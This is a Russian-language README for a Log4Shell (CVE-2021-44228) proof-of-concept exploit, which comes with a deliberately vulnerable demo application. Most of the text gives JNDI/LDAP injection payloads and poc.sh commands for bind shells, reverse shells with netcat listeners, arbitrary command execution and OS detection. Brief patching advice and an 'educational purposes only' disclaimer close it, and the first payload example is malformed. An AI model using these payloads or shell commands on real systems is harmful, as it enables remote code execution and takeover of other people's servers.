
PoC для CVE-2021-44228.
Проект создан ТОЛЬКО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ.
Этот проект создаёт два сервера: http и ldap. Оба необходимы для работы эксплойта. Указанный java-файл компилируется, и серверы запускаются в Dockerfile. Полезная нагрузка (payload) показывается пользователю — её нужно передать уязвимому приложению.
Пример payload:
${jndi:ldap//127.0.0.1:1389/a}
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e bind --remote-port 4445
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e reverse --listener-port 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e rce --cmd 'ls | tee log.txt'
Это усыпляет программу на 25 секунд
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e vulndetect
nc -lvnp 4444
./poc.sh -i 127.0.0.1 -l 1234 -t 8080 -e osdetect --listener-port 4444
Определение ОС может вернуть 4 буквы:
L — LinuxW — WindowsM — MacOSU — неизвестноТехника обхода была опубликована. Пример здесь
Приложение создано, чтобы показать, как это работает. Чтобы собрать и запустить jar-файл с приложением, используйте:
./build_vuln_app.sh
java -jar vulnapp/target/vulnapp.jar 'PAYLOAD'
где PAYLOAD — это значение, возвращаемое скриптом ./poc.sh (например, ${jndi:ldap://127.0.0.1:1389/1}).
Благодарности проектам и сайтам, которые использовались при создании этого эксплойта:
Запускайте приложение, использующее log4j, с параметром log4j2.formatMsgNoLookups, установленным в true, или обновитесь до log4j-2.15.0-rc1 или более поздней версии. Обновления уже доступны — внедряйте их как можно скорее.
Этот проект может использоваться только в образовательных целях. Использование данного программного обеспечения против целевых систем без предварительного разрешения незаконно, и автор не несёт ответственности за любой ущерб, причинённый в результате неправильного использования этого программного обеспечения.